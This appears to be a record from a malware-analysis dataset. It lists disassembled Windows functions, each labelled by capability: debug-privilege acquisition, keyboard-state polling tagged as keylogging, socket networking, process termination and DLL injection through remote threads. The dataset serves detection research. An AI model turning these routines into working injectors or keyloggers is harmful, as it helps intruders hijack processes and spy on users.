joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46ddb4
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x416424]
call fcn.00405564
xor eax, eax
push ebp
push 0x46def8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x505f90], 0
jne 0x46de07
mov ecx, dword [0x58e280]
mov dl, 1
mov eax, dword [0x4082bc]
call fcn.0040d214
call fcn.00404494
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00403538
mov eax, ebx
call fcn.004053a8
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x46df08
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.0040676c
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.004053b8
test eax, eax
jle 0x46de9f
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x46de98
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404d8c
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404d74
mov eax, dword [ebp - 0x48]
pop edx
call fcn.004091a0
test eax, eax
jne 0x46de98
mov ebx, 0x15
jmp 0x46dea4
mov ebx, 0x10
jmp 0x46dea4
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x505f90]
call fcn.0046dd0c
mov eax, dword [ebp - 8]
call fcn.0046dd0c
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00406784
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46deff
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00404b28
lea eax, [ebp - 0x10]
mov edx, dword [0x416424]
call fcn.00405634
ret

Function at 0x46eb84
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffd0
lea eax, [esp + 4]
push eax
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
lea eax, [esp + 8]
push eax
push 0x46ec20
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov eax, dword [esp + 8]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], 1
xor ebx, ebx
mov dword [esp + 0x2c], ebx
push esp
lea eax, [esp + 0x14]
push eax
push 0x10
lea eax, [esp + 0x2c]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
mov eax, dword [esp + 8]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], 1
or ebx, 2
mov dword [esp + 0x1c], ebx
push esp
push 0
mov eax, dword [esp + 8]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
add esp, 0x30
pop ebx
ret
Function at 0x4706cc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x47092c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 1
jl 0x47072f
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 4]
call fcn.00470194
mov eax, dword [ebp - 0x20c]
mov edx, ebx
call fcn.0040db64
cmp al, 1
jne 0x47072f
dec ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 4]
call fcn.004704ac
test al, al
je 0x4708bb
cmp dword [ebp - 8], 0
jge 0x47074d
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
inc ebx
lea edx, [ebp - 0x210]
mov eax, dword [ebp - 4]
call fcn.00470194
mov eax, dword [ebp - 0x210]
call fcn.00404dc4
cmp ebx, eax
jge 0x470797
lea edx, [ebp - 0x214]
mov eax, dword [ebp - 4]
call fcn.00470194
mov eax, dword [ebp - 0x214]
mov al, byte [eax + ebx - 1]
mov edx, dword [0x58eb48]
and eax, 0xff
bt dword [edx], eax
jae 0x470797
inc ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x228]
cmp eax, dword [ebp - 8]
jg 0x4707ab
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
mov ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004706a8
cmp ebx, dword [ebp - 8]
je 0x4708ad
lea eax, [ebp - 0x108]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, pe_nt_image_headers32
lea eax, [ebp - 0x208]
mov byte [eax], 0
inc eax
dec edx
jne 0x4707d7
mov byte [ebp - 0x1f8], 0x81
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403efc
and eax, 0x7f
movzx eax, word [eax*2 + 0x505fcc]
mov byte [ebp + eax - 0x208], 0x81
lea eax, [ebp - 0x208]
push eax
call sub.user32.dll_SetKeyboardState
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 1
xor eax, eax
push ebp
push 0x47089a
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403efc
and eax, 0x7f
movzx eax, word [eax*2 + 0x505fcc]
push eax
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.00450958
push eax
call sub.user32.dll_SendMessageA
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403efc
and eax, 0x7f
movzx eax, word [eax*2 + 0x505fcc]
push eax
push 0x101
mov eax, dword [ebp - 4]
call fcn.00450958
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4708a1
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 0
ret
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [eax + 0x230], edx
jmp 0x47090e
cmp dword [ebp - 8], 0
jge 0x4708c6
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.00470194
mov eax, dword [ebp - 0x218]
call fcn.00404dc4
cmp eax, dword [ebp - 8]
jg 0x470900
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.00470194
mov eax, dword [ebp - 0x21c]
call fcn.00404dc4
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004706a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x470933
lea eax, [ebp - 0x21c]
mov edx, 5
call fcn.00404b28
ret
Function at 0x4837b8
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x483841
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x592f88
push 0x202
call sub.wsock32.dll_WSAStartup
mov ebx, eax
test ebx, ebx
je 0x48382b
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.0040c910
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0xb
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], 0
mov eax, 0x483858
mov dword [ebp - 8], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x18]
push eax
push 2
mov ecx, dword [0x58e97c]
mov dl, 1
mov eax, dword [0x482fb8]
call fcn.0040d250
call fcn.00404494
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x483848
lea eax, [ebp - 0x1c]
call fcn.00404b04
ret

Function at 0x483ed0
Capabilities:
Connect socket

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, ebx
call fcn.00483dec
mov cl, 1
mov edx, ebx
mov eax, ebx
mov si, 0xffff
call fcn.00403efc
push 0x10
lea eax, [ebx + 0x18]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_connect
mov edx, eax
mov ecx, 0x483f38
mov eax, ebx
call fcn.004836fc
mov byte [ebx + 0x29], 0
test byte [ebx + 0x28], 0x10
jne 0x483f2a
cmp dword [ebx + 4], 0xffffffff
setne al
mov byte [ebx + 8], al
mov cl, 2
mov edx, ebx
mov eax, ebx
mov si, 0xffff
call fcn.00403efc
pop esi
pop ebx
ret

Function at 0x484018
Capabilities:
Resolve dns

Disassembly:
push ebx
add esp, 0xfffffff4
mov ebx, edx
mov eax, ebx
call fcn.00404fc4
push eax
call sub.wsock32.dll_gethostbyname
mov dword [esp + 4], eax
lea eax, [esp + 8]
xor ecx, ecx
mov edx, 4
call fcn.00403538
cmp dword [esp + 4], 0
je 0x48406a
mov eax, dword [esp + 4]
mov edx, dword [eax + 0xc]
mov edx, dword [edx]
mov cl, byte [edx]
mov byte [esp + 8], cl
mov cl, byte [edx + 1]
mov byte [esp + 9], cl
mov cl, byte [edx + 2]
mov byte [esp + 0xa], cl
mov al, byte [edx + 3]
mov byte [esp + 0xb], al
mov eax, dword [esp + 8]
mov dword [esp], eax
mov eax, dword [esp]
add esp, 0xc
pop ebx
ret
Function at 0x484150
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x484181
mov ecx, dword [0x58e7bc]
mov dl, 1
mov eax, dword [0x482fb8]
call fcn.0040d214
call fcn.00404494
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x4841ae
mov ecx, dword [0x58e6d8]
mov dl, 1
mov eax, dword [0x482fb8]
call fcn.0040d214
call fcn.00404494
xor eax, eax
push ebp
push 0x48422a
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xffff
call fcn.00403efc
cmp byte [ebp + 8], 0
je 0x484206
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.004840b8
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x18]
lea edi, [eax + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 4]
call fcn.00483ed0
jmp 0x484220
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 0
push 1
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.004839ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484247
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x484414
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00483cb0
xor eax, eax
push ebp
push 0x484586
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x484570
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x484460
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x48446a
call fcn.00404540
jmp 0x48458d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041bd08
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ebx, eax
test ebx, ebx
jle 0x484565
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov edi, eax
cmp edi, 0xffffffff
jne 0x484518
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x484505
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403efc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.004843cc
pop ecx
mov eax, dword [ebp - 4]
mov dl, byte [0x484598]
cmp dl, byte [eax + 0x28]
je 0x48456c
call fcn.0040d12c
jmp 0x48456c
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041bd28
jmp 0x48456c
cmp edi, ebx
jge 0x484534
mov eax, dword [ebp - 0xc]
add eax, edi
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041bd28
jmp 0x48446a
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041bd08
cmp edx, dword [esp + 4]
jne 0x484554
cmp eax, dword [esp]
pop edx
pop eax
jne 0x48446a
push ebp
call fcn.004843cc
pop ecx
jmp 0x48456c
push ebp
call fcn.004843cc
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48458d
mov eax, dword [ebp - 4]
call fcn.00483cbc
ret
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x48459c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4846be
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00483cb0
xor eax, eax
push ebp
push 0x4846a1
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4845ec
call fcn.00404540
jmp 0x4846a8
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x48468b
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x48468b
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403efc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x48468b
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c910
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x4846d8
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x58e97c]
mov dl, 1
mov eax, dword [0x482fb8]
call fcn.0040d250
call fcn.00404494
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4846a8
mov eax, dword [ebp - 4]
call fcn.00483cbc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4846c5
lea eax, [ebp - 0x28]
call fcn.00404b04
ret
Function at 0x484724
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x48486e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00483cb0
xor eax, eax
push ebp
push 0x484851
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x484789
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x484789
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x48483b
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x48479c
call fcn.00404540
jmp 0x484858
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x48483b
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x48483b
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403efc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x48483b
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c910
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x484888
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x58e97c]
mov dl, 1
mov eax, dword [0x482fb8]
call fcn.0040d250
call fcn.00404494
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x484858
mov eax, dword [ebp - 4]
call fcn.00483cbc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x484875
lea eax, [ebp - 0x28]
call fcn.00404b04
ret
Function at 0x48f0d0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x48f0fe
mov eax, ebx
call fcn.0048fb84
cmp dword [ebx + 0x40], 0
je 0x48f0f7
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x48f16f
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x48f161
cmp dword [ebx + 8], 0
je 0x48f120
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x48f132
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x48f161
cmp dword [ebx + 8], 0
je 0x48f113
cmp eax, 3
je 0x48f145
dec eax
jne 0x48f113
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x48f113
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x48f113
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x48f18d
cmp dword [ebx + 0x14], 0xcc
je 0x48f18d
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0048f198
pop ebx
ret

Function at 0x49f6f4
Capabilities:
Terminate thread

Disassembly:
push ebx
push ecx
mov ebx, eax
push esp
push ebx
call sub.kernel32.dll_GetExitCodeThread
test ebx, ebx
jbe 0x49f714
cmp dword [esp], 0x103
jne 0x49f714
push 0
push ebx
call sub.kernel32.dll_TerminateThread
pop edx
pop ebx
ret

Function at 0x49f918
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fb4
xor eax, eax
push ebp
push 0x49fa26
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [0x58e21c]
mov edx, dword [edx]
lea eax, [ebp - 8]
mov ecx, 0x49fa3c
call fcn.00404e10
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.0049fac4
test al, al
je 0x49f9c2
lea eax, [ebp - 0xc]
push eax
mov eax, dword [0x58e994]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0xb
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea edx, [ebp - 0x1c]
mov ecx, 1
mov eax, 0x49fa54
call fcn.0040a648
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [0x58e21c]
mov eax, dword [eax]
mov ecx, 0x49fa7c
xor edx, edx
call fcn.0046ecd8
push 0
call sub.kernel32.dll_GetCurrentProcessId
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
cmp word [0x59326a], 0
je 0x49f9dd
mov edx, dword [ebp - 4]
mov eax, dword [0x59326c]
call dword [0x593268]
jmp 0x49fa0b
mov eax, dword [ebp - 4]
mov edx, 0x49fa90
call fcn.00404f10
jne 0x49f9f5
mov byte [0x587830], 1
jmp 0x49fa0b
mov eax, dword [ebp - 4]
mov edx, 0x49faac
call fcn.00404f10
jne 0x49fa0b
mov byte [0x587830], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49fa2d
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404b28
ret
Function at 0x4a14f0
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffe8
xor ebx, ebx
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
lea eax, [esp + 0xc]
push eax
push 0x4a1550
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
je 0x4a1549
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
lea eax, [esp + 4]
push eax
push 0
push 0x10
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
cmp eax, 1
sbb ebx, ebx
inc ebx
mov eax, ebx
add esp, 0x18
pop ebx
ret

Function at 0x4a1564
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
mov ebx, edx
mov esi, eax
mov byte [ebp - 1], 0
call fcn.004a14f0
test al, al
je 0x4a166c
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x4a1665
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, esi
call fcn.00404dc4
add eax, eax
inc eax
call fcn.00402b38
mov ebx, eax
mov eax, esi
call fcn.00404dc4
mov ecx, eax
add ecx, ecx
inc ecx
mov edx, ebx
mov eax, esi
call fcn.00405ad8
push ebx
call sub.kernel32.dll_lstrlenW
inc eax
mov esi, eax
add esi, esi
push 4
push 0x1000
push esi
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4a164e
lea eax, [ebp - 0x14]
push eax
push esi
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4a164e
cmp esi, dword [ebp - 0x14]
jne 0x4a164e
xor eax, eax
mov dword [ebp - 0x18], eax
push 0x4a1678
push 0x4a1688
call sub.kernel32.dll_LoadLibraryA
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
je 0x4a1648
mov byte [ebp - 1], 1
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a166c
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
mov al, byte [ebp - 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4a1698
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov byte [ebp - 1], 0
call fcn.004a14f0
test al, al
je 0x4a1816
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4a180f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00404dc4
add eax, eax
inc eax
call fcn.00402b38
mov ebx, eax
mov eax, esi
call fcn.00404dc4
mov ecx, eax
add ecx, ecx
inc ecx
mov edx, ebx
mov eax, esi
call fcn.00405ad8
push ebx
call sub.kernel32.dll_lstrlenW
inc eax
mov edi, eax
add edi, edi
push 4
push 0x1000
push edi
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4a17f8
lea eax, [ebp - 0x14]
push eax
push edi
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4a17f8
cmp edi, dword [ebp - 0x14]
jne 0x4a17f8
push 0x4a1820
push 0x4a1834
call sub.kernel32.dll_LoadLibraryA
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CreateRemoteThread
mov ebx, eax
push 0xffffffffffffffff
push ebx
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 0x1c]
push eax
push ebx
call sub.kernel32.dll_GetExitCodeThread
push 0x4a1844
push 0x4a1834
call sub.kernel32.dll_LoadLibraryA
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CreateRemoteThread
mov ebx, eax
push 0xffffffffffffffff
push ebx
call sub.kernel32.dll_WaitForSingleObject
cmp dword [ebp - 8], 0
je 0x4a17d7
mov byte [ebp - 1], 1
push 0x4000
mov eax, esi
call fcn.00404dc4
inc eax
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_VirtualFreeEx
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a1816
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret